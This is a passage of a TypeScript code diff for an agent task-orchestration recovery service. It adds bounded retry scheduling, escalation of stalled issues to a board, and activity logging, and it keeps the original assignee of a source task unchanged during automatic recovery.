+          scheduledRunId: scheduledRun.id,
+        },
+        timeoutAt: retryAt,
+        lastAttemptAt: now,
+        updatedAt: now,
+      })
+      .where(and(
+        eq(issueRecoveryActions.id, input.action.id),
+        eq(issueRecoveryActions.companyId, input.issue.companyId),
+      ));
+
+    if (created) {
+      await logActivity(db, {
+        companyId: input.issue.companyId,
+        actorType: "system",
+        actorId: "recovery",
+        agentId: null,
+        runId: input.latestRun?.id ?? null,
+        action: "issue.disposition_repair_scheduled",
+        entityType: "issue_recovery_action",
+        entityId: input.action.id,
+        details: {
+          sourceIssueId: input.issue.id,
+          sourceIdentifier: input.issue.identifier,
+          ownerAgentId: agentId,
+          sourceStateFingerprint: input.fingerprint,
+          attempt: input.attempt,
+          maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+          baseBackoffMs: timing.baseDelayMs,
+          jitterMs: timing.jitterMs,
+          retryAt: retryAt.toISOString(),
+          scheduledRunId: scheduledRun.id,
+        },
+      });
+    }
+
+    return scheduledRun;
+  }
+
+  async function hasLiveRecoveryOwnerPath(action: typeof issueRecoveryActions.$inferSelect) {
+    if (!action.ownerAgentId) return false;
+    const [run, wake] = await Promise.all([
+      db
+        .select({ id: heartbeatRuns.id })
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, action.companyId),
+          eq(heartbeatRuns.agentId, action.ownerAgentId),
+          inArray(heartbeatRuns.status, [...EXECUTION_PATH_HEARTBEAT_RUN_STATUSES]),
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action.id}`,
+        ))
+        .limit(1)
+        .then((rows) => rows[0] ?? null),
+      db
+        .select({ id: agentWakeupRequests.id })
+        .from(agentWakeupRequests)
+        .where(and(
+          eq(agentWakeupRequests.companyId, action.companyId),
+          eq(agentWakeupRequests.agentId, action.ownerAgentId),
+          inArray(agentWakeupRequests.status, ["queued", "claimed", "deferred_issue_execution"]),
+          sql`${agentWakeupRequests.payload} ->> 'recoveryActionId' = ${action.id}`,
+        ))
+        .limit(1)
+        .then((rows) => rows[0] ?? null),
+    ]);
+    return Boolean(run || wake);
+  }
+
+  async function latestRecoveryOwnerRun(action: typeof issueRecoveryActions.$inferSelect) {
+    return db
+      .select()
+      .from(heartbeatRuns)
+      .where(and(
+        eq(heartbeatRuns.companyId, action.companyId),
+        sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action.id}`,
+      ))
+      .orderBy(desc(heartbeatRuns.createdAt), desc(heartbeatRuns.id))
+      .limit(1)
+      .then((rows) => rows[0] ?? null);
+  }
+
+  async function sourceHasNewPathOutsideRecoveryAction(
+    action: typeof issueRecoveryActions.$inferSelect,
+  ) {
+    const [run, wake] = await Promise.all([
+      db
+        .select({ id: heartbeatRuns.id })
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, action.companyId),
+          inArray(heartbeatRuns.status, [...EXECUTION_PATH_HEARTBEAT_RUN_STATUSES]),
+          sql`coalesce(${heartbeatRuns.contextSnapshot} ->> 'issueId', ${heartbeatRuns.contextSnapshot} ->> 'taskId') = ${action.sourceIssueId}`,
+          sql`coalesce(${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId', '') <> ${action.id}`,
+        ))
+        .limit(1)
+        .then((rows) => rows[0] ?? null),
+      db
+        .select({ id: agentWakeupRequests.id })
+        .from(agentWakeupRequests)
+        .where(and(
+          eq(agentWakeupRequests.companyId, action.companyId),
+          inArray(agentWakeupRequests.status, ["queued", "claimed", "deferred_issue_execution"]),
+          sql`coalesce(${agentWakeupRequests.payload} ->> 'issueId', ${agentWakeupRequests.payload} ->> 'taskId') = ${action.sourceIssueId}`,
+          sql`coalesce(${agentWakeupRequests.payload} ->> 'recoveryActionId', '') <> ${action.id}`,
+        ))
+        .limit(1)
+        .then((rows) => rows[0] ?? null),
+    ]);
+    return Boolean(run || wake);
+  }
+
+  async function scheduleRecoveryOwnerAttempt(input: {
+    action: typeof issueRecoveryActions.$inferSelect;
+    issue: typeof issues.$inferSelect;
+    attempt: number;
+    retryOfRunId?: string | null;
+  }) {
+    const ownerAgentId = input.action.ownerAgentId;
+    if (!ownerAgentId) return null;
+    const timing = recoveryOwnerDelayMs(input.attempt, input.action.fingerprint);
+    const now = new Date();
+    const retryAt = new Date(now.getTime() + timing.delayMs);
+    const idempotencyKey = `recovery_owner_retry:${input.action.id}:${input.attempt}`;
+    const context = withRecoveryModelProfileHint({
+      issueId: input.issue.id,
+      taskId: input.issue.id,
+      sourceIssueId: input.issue.id,
+      wakeReason: "source_scoped_recovery_action",
+      retryReason: RECOVERY_OWNER_RETRY_REASON,
+      source: "issue_recovery_action.owner_retry",
+      recoveryActionId: input.action.id,
+      recoveryCause: input.action.cause,
+      recoveryOwnerAttempt: input.attempt,
+      recoveryOwnerMaxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+      skipIssueComment: true,
+      ...(input.retryOfRunId ? { retryOfRunId: input.retryOfRunId } : {}),
+    }, "status_only");
+
+    let scheduledRun: typeof heartbeatRuns.$inferSelect | null = null;
+    if (timing.delayMs === 0) {
+      scheduledRun = await deps.enqueueWakeup(ownerAgentId, {
+        source: "assignment",
+        triggerDetail: "system",
+        reason: "source_scoped_recovery_action",
+        idempotencyKey,
+        payload: context,
+        requestedByActorType: "system",
+        requestedByActorId: null,
+        contextSnapshot: context,
+      });
+    } else {
+      scheduledRun = await db.transaction(async (tx) => {
+        const existing = await tx
+          .select({ run: heartbeatRuns })
+          .from(agentWakeupRequests)
+          .innerJoin(heartbeatRuns, eq(heartbeatRuns.wakeupRequestId, agentWakeupRequests.id))
+          .where(and(
+            eq(agentWakeupRequests.companyId, input.action.companyId),
+            eq(agentWakeupRequests.idempotencyKey, idempotencyKey),
+            inArray(heartbeatRuns.status, [...EXECUTION_PATH_HEARTBEAT_RUN_STATUSES]),
+          ))
+          .limit(1)
+          .then((rows) => rows[0]?.run ?? null);
+        if (existing) return existing;
+
+        const wakeup = await tx
+          .insert(agentWakeupRequests)
+          .values({
+            companyId: input.action.companyId,
+            agentId: ownerAgentId,
+            source: "automation",
+            triggerDetail: "system",
+            reason: "source_scoped_recovery_action",
+            payload: context,
+            status: "queued",
+            requestedByActorType: "system",
+            requestedByActorId: null,
+            idempotencyKey,
+            updatedAt: now,
+          })
+          .returning()
+          .then((rows) => rows[0]!);
+        const run = await tx
+          .insert(heartbeatRuns)
+          .values({
+            companyId: input.action.companyId,
+            agentId: ownerAgentId,
+            invocationSource: "automation",
+            triggerDetail: "system",
+            status: "scheduled_retry",
+            wakeupRequestId: wakeup.id,
+            retryOfRunId: input.retryOfRunId ?? null,
+            scheduledRetryAt: retryAt,
+            scheduledRetryAttempt: input.attempt,
+            scheduledRetryReason: RECOVERY_OWNER_RETRY_REASON,
+            contextSnapshot: context,
+            updatedAt: now,
+          })
+          .returning()
+          .then((rows) => rows[0]!);
+        await tx
+          .update(agentWakeupRequests)
+          .set({ runId: run.id, updatedAt: now })
+          .where(eq(agentWakeupRequests.id, wakeup.id));
+        return run;
+      });
+    }
+
+    await db
+      .update(issueRecoveryActions)
+      .set({
+        status: "active",
+        attemptCount: input.attempt,
+        maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+        wakePolicy: {
+          type: "bounded_recovery_owner",
+          ownerAgentId,
+          attempt: input.attempt,
+          maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+          baseBackoffMs: timing.baseDelayMs,
+          jitterMs: timing.jitterMs,
+          retryAt: retryAt.toISOString(),
+          scheduledRunId: scheduledRun?.id ?? null,
+          preservesSourceAssignee: true,
+        },
+        timeoutAt: retryAt,
+        lastAttemptAt: now,
+        updatedAt: now,
+      })
+      .where(and(
+        eq(issueRecoveryActions.id, input.action.id),
+        eq(issueRecoveryActions.companyId, input.action.companyId),
+        inArray(issueRecoveryActions.status, ["active", "escalated"]),
+      ));
+
+    await logActivity(db, {
+      companyId: input.action.companyId,
+      actorType: "system",
+      actorId: "recovery",
+      agentId: null,
+      runId: input.retryOfRunId ?? null,
+      action: "issue.recovery_owner_retry_scheduled",
+      entityType: "issue_recovery_action",
+      entityId: input.action.id,
+      details: {
+        sourceIssueId: input.issue.id,
+        recoveryOwnerAgentId: ownerAgentId,
+        attempt: input.attempt,
+        maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+        retryAt: retryAt.toISOString(),
+        scheduledRunId: scheduledRun?.id ?? null,
+        sourceAssigneeAgentId: input.issue.assigneeAgentId,
+        sourceAssigneePreserved: true,
+      },
+    });
+    return scheduledRun;
+  }
+
+  async function escalateRecoveryOwnerToBoard(input: {
+    action: typeof issueRecoveryActions.$inferSelect;
+    issue: typeof issues.$inferSelect;
+    reason: string;
+  }) {
+    const now = new Date();
+    const [updated] = await db
+      .update(issueRecoveryActions)
+      .set({
+        status: "escalated",
+        ownerType: "board",
+        ownerAgentId: null,
+        wakePolicy: {
+          type: "board_escalation",
+          reason: input.reason,
+          attempt: input.action.attemptCount,
+          maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+          preservesSourceAssignee: true,
+        },
+        timeoutAt: null,
+        resolutionNote: input.reason,
+        updatedAt: now,
+      })
+      .where(and(
+        eq(issueRecoveryActions.id, input.action.id),
+        eq(issueRecoveryActions.companyId, input.action.companyId),
+        inArray(issueRecoveryActions.status, ["active", "escalated"]),
+      ))
+      .returning();
+    if (!updated) return false;
+
+    await logActivity(db, {
+      companyId: input.action.companyId,
+      actorType: "system",
+      actorId: "recovery",
+      agentId: null,
+      runId: null,
+      action: "issue.recovery_owner_retry_exhausted",
+      entityType: "issue_recovery_action",
+      entityId: input.action.id,
+      details: {
+        sourceIssueId: input.issue.id,
+        attemptCount: input.action.attemptCount,
+        maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+        reason: input.reason,
+        sourceAssigneeAgentId: input.issue.assigneeAgentId,
+        sourceAssigneePreserved: true,
+      },
+    });
+    return true;
+  }
+
+  async function reconcileActiveRecoveryActions() {
+    const rows = await db
+      .select({ action: issueRecoveryActions, issue: issues })
+      .from(issueRecoveryActions)
+      .innerJoin(
+        issues,
+        and(
+          eq(issues.id, issueRecoveryActions.sourceIssueId),
+          eq(issues.companyId, issueRecoveryActions.companyId),
+        ),
+      )
+      .where(inArray(issueRecoveryActions.status, ["active", "escalated"]));
+
+    const result = { requeued: 0, escalated: 0, resolved: 0, skipped: 0, issueIds: [] as string[] };
+    for (const { action, issue } of rows) {
+      const wakePolicy = parseObject(action.wakePolicy);
+      const wakePolicyType = readNonEmptyString(wakePolicy.type);
+      if (
+        wakePolicyType !== "bounded_recovery_owner" &&
+        wakePolicyType !== "bounded_owner_disposition_repair" &&
+        !(action.status === "escalated" && action.ownerType === "board")
+      ) {
+        continue;
+      }
+
+      if (issue.status === "done" || issue.status === "cancelled") {
+        const resolved = await recoveryActionsSvc.resolveActiveForIssue({
+          companyId: action.companyId,
+          sourceIssueId: action.sourceIssueId,
+          actionId: action.id,
+          status: "resolved",
+          outcome: "restored",
+          resolutionNote: "source_terminal",
+        });
+        if (resolved) {
+          result.resolved += 1;
+          result.issueIds.push(issue.id);
+        }
+        continue;
+      }
+
+      if (action.ownerType === "board" && action.status === "escalated") {
+        result.skipped += 1;
+        continue;
+      }
+
+      const [sourceState, healthyChildren, hasNewSourcePath] = await Promise.all([
+        collectDispositionRepairSourceState(db, { issue }),
+        healthyOpenChildIssues(issue),
+        sourceHasNewPathOutsideRecoveryAction(action),
+      ]);
+      if (sourceState.hasDurableWaitingPath || healthyChildren.length > 0 || hasNewSourcePath) {
+        if (healthyChildren.length > 0 && !sourceState.hasDurableWaitingPath) {
+          const blockerIds = await existingUnresolvedBlockerIssueIds(issue.companyId, issue.id);
+          await issuesSvc.update(issue.id, {
+            status: "blocked",
+            blockedByIssueIds: [...new Set([
+              ...blockerIds,
+              ...healthyChildren.map((child) => child.id),
+            ])],
+            assigneeAgentId: issue.assigneeAgentId,
+          });
+        }
+        const resolved = await recoveryActionsSvc.resolveActiveForIssue({
+          companyId: action.companyId,
+          sourceIssueId: action.sourceIssueId,
+          actionId: action.id,
+          status: "resolved",
+          outcome: "restored",
+          resolutionNote: sourceState.hasDurableWaitingPath
+            ? `durable_path_restored:${sourceState.durablePathReason ?? "unknown"}`
+            : healthyChildren.length > 0
+              ? "durable_path_restored:healthy_child"
+              : "new_source_execution_path",
+        });
+        if (resolved) {
+          result.resolved += 1;
+          result.issueIds.push(issue.id);
+        }
+        continue;
+      }
+
+      if (wakePolicyType === "bounded_owner_disposition_repair") {
+        if (await isAutomaticRecoverySuppressedByPauseHold(
+          db,
+          issue.companyId,
+          issue.id,
+          treeControlSvc,
+        )) {
+          result.skipped += 1;
+          continue;
+        }
+
+        const latestRun = await latestRecoveryOwnerRun(action);
+        const persistedAttempt = Math.max(
+          action.attemptCount,
+          Math.max(0, Math.floor(asNumber(wakePolicy.attempt, action.attemptCount))),
+        );
+        const outcome = await reconcileDispositionRepair(issue, latestRun, {
+          historicalAttemptCount: persistedAttempt,
+        });
+        if (outcome === "queued") {
+          result.requeued += 1;
+          result.issueIds.push(issue.id);
+        } else if (outcome === "escalated") {
+          result.escalated += 1;
+          result.issueIds.push(issue.id);
+        } else {
+          result.skipped += 1;
+        }
+        continue;
+      }
+
+      if (!action.ownerAgentId) {
+        if (await escalateRecoveryOwnerToBoard({ action, issue, reason: "recovery_owner_missing" })) {
+          result.escalated += 1;
+          result.issueIds.push(issue.id);
+        }
+        continue;
+      }
+
+      const ownerAgentId = await resolveInvokableRecoveryAgentId(issue, action.ownerAgentId);
+      if (!ownerAgentId) {
+        if (await escalateRecoveryOwnerToBoard({ action, issue, reason: "recovery_owner_not_invokable" })) {
+          result.escalated += 1;
+          result.issueIds.push(issue.id);
+        }
+        continue;
+      }
+
+      if (await hasLiveRecoveryOwnerPath(action)) {
+        result.skipped += 1;
+        continue;
+      }
+
+      const latestRun = await latestRecoveryOwnerRun(action);
+      const persistedAttempt = wakePolicyType === "bounded_recovery_owner"
+        ? Math.max(0, Math.floor(asNumber(wakePolicy.attempt, action.attemptCount)))
+        : 0;
+      if (latestRun && !TERMINAL_HEARTBEAT_RUN_STATUSES.has(latestRun.status)) {
+        result.skipped += 1;
+        continue;
+      }
+      if (persistedAttempt >= RECOVERY_OWNER_MAX_ATTEMPTS) {
+        if (await escalateRecoveryOwnerToBoard({ action, issue, reason: "recovery_owner_retry_exhausted" })) {
+          result.escalated += 1;
+          result.issueIds.push(issue.id);
+        }
+        continue;
+      }
+
+      await scheduleRecoveryOwnerAttempt({
+        action,
+        issue,
+        attempt: persistedAttempt + 1,
+        retryOfRunId: latestRun?.id ?? null,
+      });
+      result.requeued += 1;
+      result.issueIds.push(issue.id);
+    }
+    return result;
+  }
+
+  async function escalateDispositionRepair(input: {
+    issue: typeof issues.$inferSelect;
+    latestRun: LatestIssueRun;
+    fingerprint: string;
+    attemptCount: number;
+    terminalReason: string;
+  }) {
+    const action = await ensureDispositionRepairAction({
+      issue: input.issue,
+      latestRun: input.latestRun,
+      fingerprint: input.fingerprint,
+      attemptCount: input.attemptCount,
+    });
+    const excludedOwners = new Set(
+      input.issue.assigneeAgentId ? [input.issue.assigneeAgentId] : [],
+    );
+    const recoveryOwnerAgentId = await resolveStrandedIssueRecoveryOwnerAgentId(
+      input.issue,
+      null,
+      excludedOwners,
+    );
+    const now = new Date();
+    await db
+      .update(issueRecoveryActions)
+      .set({
+        status: recoveryOwnerAgentId ? "active" : "escalated",
+        ownerType: recoveryOwnerAgentId ? "agent" : "board",
+        ownerAgentId: recoveryOwnerAgentId,
+        attemptCount: 0,
+        maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+        evidence: {
+          ...action.evidence,
+          latestRunId: input.latestRun?.id ?? null,
+          latestRunStatus: input.latestRun?.status ?? null,
+          latestRunErrorCode: input.latestRun?.errorCode ?? null,
+          terminalReason: input.terminalReason,
+          sourceAttemptCount: input.attemptCount,
+          sourceMaxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+        },
+        nextAction:
+          "Repair the source issue disposition or request an explicit reassignment decision without taking source ownership.",
+        wakePolicy: recoveryOwnerAgentId
+          ? {
+              type: "bounded_recovery_owner",
+              ownerAgentId: recoveryOwnerAgentId,
+              attempt: 0,
+              maxAttempts: RECOVERY_OWNER_MAX_ATTEMPTS,
+              preservesSourceAssignee: true,
+            }
+          : {
+              type: "board_escalation",
+              reason: "no_invokable_recovery_owner",
+              preservesSourceAssignee: true,
+            },
+        timeoutAt: null,
+        resolutionNote: input.terminalReason,
+        updatedAt: now,
+      })
+      .where(and(
+        eq(issueRecoveryActions.id, action.id),
+        eq(issueRecoveryActions.companyId, input.issue.companyId),
+      ));
+
+    const updated = await issuesSvc.update(input.issue.id, {
+      status: "blocked",
+      assigneeAgentId: input.issue.assigneeAgentId,
+    });
+    if (!updated) return null;
+
+    const recoveryOwner = recoveryOwnerAgentId ? await getAgent(recoveryOwnerAgentId) : null;
+    await issuesSvc.addComment(
+      input.issue.id,
+      [
+        "Paperclip exhausted the bounded original-owner disposition repair without a durable source-state change.",
+        "",
+        `- Attempts: ${input.attemptCount}/${DISPOSITION_REPAIR_MAX_ATTEMPTS}`,
+        `- Terminal reason: \`${input.terminalReason}\``,
+        `- Recovery owner: ${recoveryOwner?.name ?? "board"}`,
+        "- Source ownership: unchanged; reassignment requires an explicit decision or a policy-defined serious failure.",
+        "",
+        "Next action: repair the liveness disposition or request an explicit source-owner decision.",
+      ].join("\n"),
+      {},
+      {
+        authorType: "system",
+        presentation: compactRecoveryPresentation("Recovery: disposition repair escalated — source owner preserved"),
+        metadata: recoveryNoticeMetadata({
+          cause: "deliberate_wait_without_target",
+          latestRun: input.latestRun,
+          recoveryActionId: action.id,
+          previousStatus: input.issue.status,
+          recoveryOwner,
+        }),
+      },
+    );
+
+    await logActivity(db, {
+      companyId: input.issue.companyId,
+      actorType: "system",
+      actorId: "recovery",
+      agentId: null,
+      runId: input.latestRun?.id ?? null,
+      action: "issue.disposition_repair_escalated",
+      entityType: "issue",
+      entityId: input.issue.id,
+      details: {
+        identifier: input.issue.identifier,
+        status: "blocked",
+        previousStatus: input.issue.status,
+        sourceStateFingerprint: input.fingerprint,
+        attemptCount: input.attemptCount,
+        maxAttempts: DISPOSITION_REPAIR_MAX_ATTEMPTS,
+        terminalReason: input.terminalReason,
+        recoveryActionId: action.id,
+        recoveryOwnerAgentId,
+        sourceAssigneeAgentId: input.issue.assigneeAgentId,
+        sourceAssigneePreserved: true,
+      },
+    });
+
+    const escalatedAction = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, input.issue.companyId),
+        eq(issueRecoveryActions.sourceIssueId, input.issue.id),
+        inArray(issueRecoveryActions.status, ["active", "escalated"]),
+      ))
+      .limit(1)
+      .then((rows) => rows[0] ?? null);
+    if (escalatedAction && recoveryOwnerAgentId) {
+      await scheduleRecoveryOwnerAttempt({
+        action: escalatedAction,
+        issue: input.issue,
+        attempt: 1,
+        retryOfRunId: input.latestRun?.id ?? null,
+      });
+    }
+    return updated;
+  }
+
+  async function reconcileDispositionRepair(
+    issue: typeof issues.$inferSelect,
+    latestRun: LatestIssueRun,
+    options: { historicalAttemptCount?: number } = {},
+  ): Promise<"queued" | "escalated" | "covered" | "skipped"> {
+    const current = await db
+      .select()
+      .from(issues)
+      .where(and(eq(issues.companyId, issue.companyId), eq(issues.id, issue.id)))
+      .limit(1)
+      .then((rows) => rows[0] ?? null);
+    if (!current || current.status === "done" || current.status === "cancelled") return "skipped";
+
+    const dependencyWait = await resolveContinuationWaitingOnReview(current);
+    if (dependencyWait) {
+      await resolveDispositionRepairActionAsCovered(current, "dependency_wait_created");
+      return "covered";
+    }
+
+    const state = await collectDispositionRepairSourceState(db, { issue: current });
+    if (state.hasActiveExecutionPath) return "skipped";
+    if (state.hasDurableWaitingPath) {
+      await resolveDispositionRepairActionAsCovered(
+        current,
+        `durable_path_restored:${state.durablePathReason ?? "unknown"}`,
+      );
+      return "covered";
+    }
+
+    const ownerAgentId = current.assigneeAgentId;
+    const ownerAgent = ownerAgentId ? await getAgent(ownerAgentId) : null;
+    const ownerInvokable = ownerAgent && ownerAgent.companyId === current.companyId
+      ? (await isAgentInvokable(ownerAgent)) && isHeartbeatWakeOnDemandEnabled(ownerAgent)
+      : false;
+    const budgetBlocked = ownerAgentId ? await isInvocationBudgetBlocked(current, ownerAgentId) : true;
+    const previousAttempt = readDispositionRepairAttempt(latestRun);
+    const activeRepairAction = await recoveryActionsSvc.getActiveForIssue(current.companyId, current.id);
+    const runAttempt = previousAttempt?.fingerprint === state.fingerprint
+      ? previousAttempt.attempt
+      : 0;
+    const persistedAttempt = activeRepairAction?.kind === "deliberate_wait_without_target" &&
+      activeRepairAction.fingerprint === state.fingerprint
+      ? activeRepairAction.attemptCount
+      : 0;
+    // Upgrade compatibility: pre-fingerprint continuation parks already spent
+    // attempts against this unchanged source state. Seed the durable counter
+    // from that consecutive legacy history instead of granting five fresh
+    // attempts merely because the recovery-action row did not exist yet.
+    const historicalAttempt = Math.min(
+      DISPOSITION_REPAIR_MAX_ATTEMPTS,
+      Math.max(0, Math.floor(options.historicalAttemptCount ?? 0)),
+    );
+    const sameFingerprintAttempt = Math.max(runAttempt, persistedAttempt, historicalAttempt);
+    if (!ownerInvokable || budgetBlocked) {
+      const escalated = await escalateDispositionRepair({
+        issue: current,
+        latestRun,
+        fingerprint: state.fingerprint,
+        attemptCount: sameFingerprintAttempt,
+        terminalReason: !ownerInvokable ? "owner_not_invokable" : "owner_budget_blocked",
+      });
+      return escalated ? "escalated" : "skipped";
+    }
+
+    if (sameFingerprintAttempt >= DISPOSITION_REPAIR_MAX_ATTEMPTS) {
+      const escalated = await escalateDispositionRepair({
+        issue: current,
+        latestRun,
+        fingerprint: state.fingerprint,
+        attemptCount: sameFingerprintAttempt,
+        terminalReason: "unchanged_source_state_exhausted",
+      });
+      return escalated ? "escalated" : "skipped";
+    }
+
+    const nextAttempt = sameFingerprintAttempt + 1;
+    const action = await ensureDispositionRepairAction({
+      issue: current,
+      latestRun,
+      fingerprint: state.fingerprint,
+      attemptCount: sameFingerprintAttempt,
+    });
+    const scheduled = await scheduleDispositionRepairAttempt({
+      issue: current,
+      latestRun,
+      action,
+      fingerprint: state.fingerprint,
+      attempt: nextAttempt,
+    });
+    return scheduled ? "queued" : "skipped";
+  }
+
   async function escalateStrandedAssignedIssue(input: {
     issue: typeof issues.$inferSelect;
     previousStatus: StrandedPreviousStatus;
@@ -3339,7 +4396,9 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     const updated = await issuesSvc.update(input.issue.id, {
       status: "blocked",
       blockedByIssueIds: blockerIds,
-      assigneeAgentId: recoveryAction.ownerAgentId ?? input.issue.assigneeAgentId,
+      // Recovery-action ownership is intentionally separate from deliverable
+      // ownership. Automatic escalation must never transfer the source task.
+      assigneeAgentId: input.issue.assigneeAgentId,
     });
     if (!updated) return null;
     if (isProviderQuotaWait) return updated;
@@ -3479,7 +4538,7 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       recoveryCause,
     });
 
-    if (recoveryAction.ownerAgentId && recoveryAction.ownerAgentId === input.issue.assigneeAgentId) {
+    if (input.issue.assigneeAgentId) {
       const [currentIssue] = await db
         .select({
           status: issues.status,
@@ -3491,12 +4550,12 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       if (
         currentIssue &&
         (currentIssue.status !== "blocked" ||
-          currentIssue.assigneeAgentId !== recoveryAction.ownerAgentId)
+          currentIssue.assigneeAgentId !== input.issue.assigneeAgentId)
       ) {
         const reblocked = await issuesSvc.update(input.issue.id, {
           status: "blocked",
           blockedByIssueIds: blockerIds,
-          assigneeAgentId: recoveryAction.ownerAgentId,
+          assigneeAgentId: input.issue.assigneeAgentId,
         });
         if (reblocked) return reblocked;
       }
@@ -3658,6 +4717,7 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       assignmentDispatched: 0,
       dispatchRequeued: 0,
       continuationRequeued: 0,
+      dispositionRepairRequeued: 0,
       productiveContinuationObserved: 0,
       successfulContinuationObserved: 0,
       orphanBlockersAssigned: 0,
@@ -3689,12 +4749,28 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         continue;
       }
 
+      let latestRun = await getLatestIssueRun(issue.companyId, issue.id);
+
       const agent = await getAgent(agentId);
       const agentInvokable = agent && agent.companyId === issue.companyId
         ? await isAgentInvokable(agent)
         : false;
       if (issue.status !== "in_review" && !agentInvokable) {
-        result.skipped += 1;
+        const classification = classifyContinuationFailure(latestRun);
+        if (
+          classification.kind === "deliberate_wait_without_target" ||
+          readDispositionRepairAttempt(latestRun)
+        ) {
+          const outcome = await reconcileDispositionRepair(issue, latestRun);
+          if (outcome === "escalated") {
+            result.escalated += 1;
+            result.issueIds.push(issue.id);
+          } else {
+            result.skipped += 1;
+          }
+        } else {
+          result.skipped += 1;
+        }
         continue;
       }
 
@@ -3717,7 +4793,6 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         continue;
       }
 
-      let latestRun = await getLatestIssueRun(issue.companyId, issue.id);
       if (isOperatorCancelledRun(latestRun)) {
         result.operatorCancelExempted += 1;
         continue;
@@ -3802,6 +4877,13 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         ? acceptedContinuationInteraction.resolvedAt ?? acceptedContinuationInteraction.updatedAt
         : null;
       if (acceptedContinuationInteraction && acceptedInteractionResolvedAt && !pendingExecutionState) {
+        const legacyReviewParkAttempts = await summarizeRecentContinuationRetries(
+          issue.companyId,
+          issue.id,
+          agentId,
+          CONTINUATION_WAITING_ON_REVIEW_ERROR_CODE,
+          acceptedInteractionResolvedAt,
+        );
         const successfulRunSinceResolution = await hasSuccessfulIssueRunSince(
           issue.companyId,
           issue.id,
@@ -3832,13 +4914,32 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
             agentId,
             acceptedInteractionResolvedAt,
           );
-          const { consecutive } = await summarizeRecentContinuationRetries(
-            issue.companyId,
-            issue.id,
-            agentId,
-            CONTINUATION_WAITING_ON_REVIEW_ERROR_CODE,
-            acceptedInteractionResolvedAt,
-          );
+          if (
+            classifyContinuationFailure(latestPostResolutionRun).kind ===
+            "deliberate_wait_without_target"
+          ) {
+            const resolved = await resolveContinuationWaitingOnReview(issue);
+            if (resolved) {
+              result.waitingOnReviewResolved += 1;
+              result.issueIds.push(issue.id);
+              continue;
+            }
+            const outcome = await reconcileDispositionRepair(issue, latestPostResolutionRun, {
+              historicalAttemptCount: legacyReviewParkAttempts.consecutive,
+            });
+            if (outcome === "queued") {
+              result.continuationRequeued += 1;
+              result.dispositionRepairRequeued += 1;
+              result.issueIds.push(issue.id);
+            } else if (outcome === "escalated") {
+              result.escalated += 1;
+              result.issueIds.push(issue.id);
+            } else {
+              result.skipped += 1;
+            }
+            continue;
+          }
+          const { consecutive } = legacyReviewParkAttempts;
           if (consecutive >= INTERACTION_CONTINUATION_REQUEUE_MAX_ATTEMPTS && latestPostResolutionRun) {
             const resolved = await resolveContinuationWaitingOnReview(issue);
             if (resolved) {
@@ -4114,8 +5215,26 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
         result.skipped += 1;
         continue;
       }
+      if (readDispositionRepairAttempt(latestRun)) {
+        const outcome = await reconcileDispositionRepair(issue, latestRun);
+        if (outcome === "queued") {
+          result.continuationRequeued += 1;
+          result.dispositionRepairRequeued += 1;
+          result.issueIds.push(issue.id);
+        } else if (outcome === "escalated") {
+          result.escalated += 1;
+          result.issueIds.push(issue.id);
+        } else {
+          result.skipped += 1;
+        }
+        continue;
+      }
       const handoffEvidence = isExhaustedSuccessfulRunHandoff(latestRun);
       if (handoffEvidence) {
+        if (isPluginManagedIssueLifecycle(issue)) {
+          result.skipped += 1;
+          continue;
+        }
         if (!handoffEvidence.exhausted) {
           result.skipped += 1;
           continue;
@@ -4207,6 +5326,19 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
             result.issueIds.push(issue.id);
             continue;
           }
+
+          const outcome = await reconcileDispositionRepair(issue, latestRun);
+          if (outcome === "queued") {
+            result.continuationRequeued += 1;
+            result.dispositionRepairRequeued += 1;
+            result.issueIds.push(issue.id);
+          } else if (outcome === "escalated") {
+            result.escalated += 1;
+            result.issueIds.push(issue.id);
+          } else {
+            result.skipped += 1;
+          }
+          continue;
         }
 
         if (classification.kind === "non_retryable") {
@@ -4301,6 +5433,12 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
     result.skipped += orphanBlockerRecovery.skipped;
     result.issueIds.push(...orphanBlockerRecovery.issueIds);
 
+    const activeRecovery = await reconcileActiveRecoveryActions();
+    result.continuationRequeued += activeRecovery.requeued;
+    result.escalated += activeRecovery.escalated;
+    result.skipped += activeRecovery.skipped;
+    result.issueIds.push(...activeRecovery.issueIds);
+
     return result;
   }
 
@@ -4440,9 +5578,13 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
           ? []
           : db
             .select({
+              id: issueRecoveryActions.id,
               companyId: issueRecoveryActions.companyId,
               issueId: issueRecoveryActions.sourceIssueId,
               status: issueRecoveryActions.status,
+              ownerType: issueRecoveryActions.ownerType,
+              ownerAgentId: issueRecoveryActions.ownerAgentId,
+              ownerUserId: issueRecoveryActions.ownerUserId,
             })
             .from(issueRecoveryActions)
             .where(
